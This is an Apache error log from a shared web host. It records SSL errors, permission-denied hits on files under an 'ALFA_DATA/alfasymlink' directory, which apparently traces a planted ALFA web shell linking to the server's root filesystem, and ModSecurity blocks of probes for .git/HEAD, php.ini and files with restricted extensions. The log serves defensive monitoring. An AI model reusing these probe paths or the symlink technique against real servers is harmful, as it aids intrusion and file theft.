[Sat Oct 24 17:21:18.168790 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.207.47.227:13743] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:21:21.743904 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 185.191.171.17:58450] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:21:38.211415 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 44.212.106.171:62855] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:21:42.180866 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 184.73.239.35:1332] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:21:46.196769 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 35.170.205.140:62318] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:21:50.375433 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 34.224.9.144:63977] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:21:54.366072 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.203.237.170:19022] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:21:54.987924 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 85.208.96.193:29488] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:22:10.179162 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.94.40.182:62834] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:22:14.199125 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 184.73.239.35:38629] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:22:22.295303 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 34.226.89.140:34298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/ucsi_acpi/unbind
[Sat Oct 24 17:22:26.175943 2026] [ssl:error] [pid 2692979:tid 2692979] (5)Input/output error: [client 3.213.46.222:62099] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:22:38.236203 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 85.208.96.204:37580] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/free_calls
[Sat Oct 24 17:22:50.150436 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 34.239.197.197:9261] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/ec/bind
[Sat Oct 24 17:23:07.424892 2026] [security2:error] [pid 2707162:tid 2707162] [client 85.208.96.198:57486] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/slicoss/gbdownload.sys"] [unique_id "at0hu3xUk1Q9Uwuht9UCewAAAAE"]
[Sat Oct 24 17:23:07.425299 2026] [security2:error] [pid 2707162:tid 2707162] [client 85.208.96.198:57486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/slicoss/gbdownload.sys"] [unique_id "at0hu3xUk1Q9Uwuht9UCewAAAAE"]
[Sat Oct 24 17:23:07.425574 2026] [security2:error] [pid 2707162:tid 2707162] [client 85.208.96.198:57486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/slicoss/gbdownload.sys"] [unique_id "at0hu3xUk1Q9Uwuht9UCewAAAAE"]
[Sat Oct 24 17:23:18.298961 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.23.112.144:49135] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:23:24.950767 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.19:54616] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/validate
[Sat Oct 24 17:23:37.297029 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.201:39916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/names_cache/slabs_cpu_partial
[Sat Oct 24 17:23:42.189946 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.231.156.59:9569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:23:50.684945 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.235.191.179:61219] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:24:06.168835 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.232.11.247:34303] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:24:22.272471 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 44.205.192.249:27310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/new_id
[Sat Oct 24 17:24:26.282181 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 184.73.47.24:63371] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:24:58.152432 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 18.213.102.186:61429] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory5/node0/memory2/subsystem/drivers_probe
[Sat Oct 24 17:25:02.271502 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.234.200.207:57569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:25:14.154215 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 100.28.57.133:52692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:04.0/rescan
[Sat Oct 24 17:25:18.216806 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.207.89.138:26059] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:25:34.229733 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.204.174.139:17486] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:25:46.170645 2026] [ssl:error] [pid 2707149:tid 2707149] (5)Input/output error: [client 52.207.47.227:23414] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:25:54.159985 2026] [ssl:error] [pid 2677776:tid 2677776] (22)Invalid argument: [client 44.221.227.90:23166] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:25:58.152597 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.87.62.248:51731] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:26:02.213569 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.206.65.8:11543] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:26:06.139226 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.1.157.90:20866] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:26:14.972340 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.18:16488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/trace
[Sat Oct 24 17:26:18.141002 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 35.169.119.108:30300] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:26:41.873051 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 185.191.171.10:20684] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/objects_partial
[Sat Oct 24 17:26:42.253307 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.224.132.215:61487] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:26:50.175329 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.236.41.241:29429] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:26:51.587989 2026] [authz_core:error] [pid 2693020:tid 2693020] [client 64.84.105.12:36050] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 17:26:53.770400 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 85.208.96.212:37878] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/alloc_calls
[Sat Oct 24 17:27:02.143114 2026] [ssl:error] [pid 2692979:tid 2692979] (22)Invalid argument: [client 34.194.233.48:36569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:27:10.170647 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.70.209.13:48867] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:27:14.408560 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.6.97.88:4389] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:27:18.269068 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.226.89.140:60739] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:27:30.134395 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 34.234.206.30:15625] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS0/custom_divisor
[Sat Oct 24 17:27:31.445120 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.1:48558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPv6/min_partial
[Sat Oct 24 17:27:38.220827 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.221.37.41:47961] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:27:54.150215 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 100.28.57.133:3801] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:16/eject
[Sat Oct 24 17:28:06.702252 2026] [security2:error] [pid 2693020:tid 2693020] [client 85.208.96.202:59008] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib64/libxcb-randr.so"] [unique_id "at0i5jKiZtbKEGWJKoLS8AAAACE"]
[Sat Oct 24 17:28:06.702338 2026] [security2:error] [pid 2693020:tid 2693020] [client 85.208.96.202:59008] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib64/libxcb-randr.so"] [unique_id "at0i5jKiZtbKEGWJKoLS8AAAACE"]
[Sat Oct 24 17:28:18.183338 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 23.21.179.27:53154] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:28:38.139259 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 100.29.155.89:40757] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/xhci_hcd/remove_id
[Sat Oct 24 17:28:54.263203 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.206.47.187:40450] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:28:58.153934 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.194.134.53:10902] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:29:06.293865 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.0.218.219:46367] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:29:14.147063 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.1.106.130:63019] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:29:22.140974 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.3.104.214:54260] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:29:26.158758 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 98.82.59.253:11123] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:29:30.323989 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 34.206.212.24:31344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/uevent
[Sat Oct 24 17:29:34.971520 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.13:61300] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/alloc_calls
[Sat Oct 24 17:29:38.773245 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.1:55204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/secpath_cache/cache_dma
[Sat Oct 24 17:29:46.324140 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 185.191.171.16:12946] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/total_objects
[Sat Oct 24 17:29:57.650677 2026] [security2:error] [pid 2693020:tid 2693020] [client 85.208.96.202:37518] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/user-.slice.d/10-defaults.conf"] [unique_id "at0jVTKiZtbKEGWJKoLS9AAAACE"]
[Sat Oct 24 17:29:57.651063 2026] [security2:error] [pid 2693020:tid 2693020] [client 85.208.96.202:37518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/user-.slice.d/10-defaults.conf"] [unique_id "at0jVTKiZtbKEGWJKoLS9AAAACE"]
[Sat Oct 24 17:29:57.651353 2026] [security2:error] [pid 2693020:tid 2693020] [client 85.208.96.202:37518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/user-.slice.d/10-defaults.conf"] [unique_id "at0jVTKiZtbKEGWJKoLS9AAAACE"]
[Sat Oct 24 17:30:02.170040 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.223.181.32:9436] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:30:14.168694 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.223.181.32:48372] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:30:51.568508 2026] [authz_core:error] [pid 2693034:tid 2693034] [client 185.226.197.15:42746] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 17:31:10.174975 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.45.77.169:21815] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:31:14.154200 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.3.102.51:22036] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:31:26.151568 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.84.93.8:39834] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:31:38.149572 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.45.29.57:26337] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:31:41.490726 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.199:12464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/total_objects
[Sat Oct 24 17:31:42.143907 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.232.102.111:42720] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:31:45.166168 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.198:62714] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/shrink
[Sat Oct 24 17:31:46.320571 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.216.13.10:65416] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:31:56.953472 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.15:63958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/xmit_fifo_size
[Sat Oct 24 17:32:02.138768 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.224.205.25:60228] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:32:10.177790 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.203.111.15:53132] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:32:10.312072 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 85.208.96.199:51862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/jbd2/sections/__bug_table
[Sat Oct 24 17:32:18.383852 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.233.219.155:58733] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:32:19.699115 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 185.191.171.6:63014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/destroy_by_rcu
[Sat Oct 24 17:32:26.123317 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.200.142.199:26442] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:32:46.209458 2026] [ssl:error] [pid 2707162:tid 2707162] (5)Input/output error: [client 98.83.72.38:52586] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:32:54.179627 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.193.2.57:57067] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:32:58.249158 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 23.23.103.31:57851] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:33:06.504305 2026] [cgi:error] [pid 2677776:tid 2677776] [client 45.156.128.153:56618] AH02811: stderr from /var/www/html/ssi.cgi: script not found or unable to stat
[Sat Oct 24 17:33:10.270698 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.220.2.97:57514] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:33:22.153667 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.166.126.132:37358] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:33:34.258445 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.206.65.8:9588] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:33:38.160253 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 23.21.148.226:16498] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:33:42.204779 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.204.152.114:24781] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:33:45.244127 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.11:51000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/poison
[Sat Oct 24 17:33:50.131916 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.213.213.161:9280] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:33:54.179824 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.83.226.125:43433] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:34:02.334214 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.215.221.125:19072] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:34:06.430743 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.6:57812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_pending_reservation/validate
[Sat Oct 24 17:34:14.153154 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 18.214.251.19:54303] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/console/subsystem/tty22/subsystem/ttyS1/port
[Sat Oct 24 17:34:18.165092 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.215.235.20:27909] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:34:22.464237 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.226.89.140:48765] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:34:34.161830 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 50.16.216.166:3059] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:34:37.196673 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 185.191.171.12:41826] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:34:46.191689 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 34.231.181.240:60384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/ata2/host1/target1:0:0/1:0:0:0/driver/bind
[Sat Oct 24 17:34:50.183143 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.229.164.203:19878] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:34:54.316805 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 34.239.197.197:43946] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/input1/device/driver/unbind
[Sat Oct 24 17:35:22.191635 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.212.131.50:62136] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:35:26.397768 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 100.29.155.89:40614] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:35:30.642673 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.2.83.227:65045] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:35:34.045039 2026] [security2:error] [pid 2693034:tid 2693034] [client 91.92.240.86:51636] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at0kplQTwXU83R4GW_mYnwAAACg"]
[Sat Oct 24 17:35:34.045334 2026] [security2:error] [pid 2693034:tid 2693034] [client 91.92.240.86:51636] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at0kplQTwXU83R4GW_mYnwAAACg"]
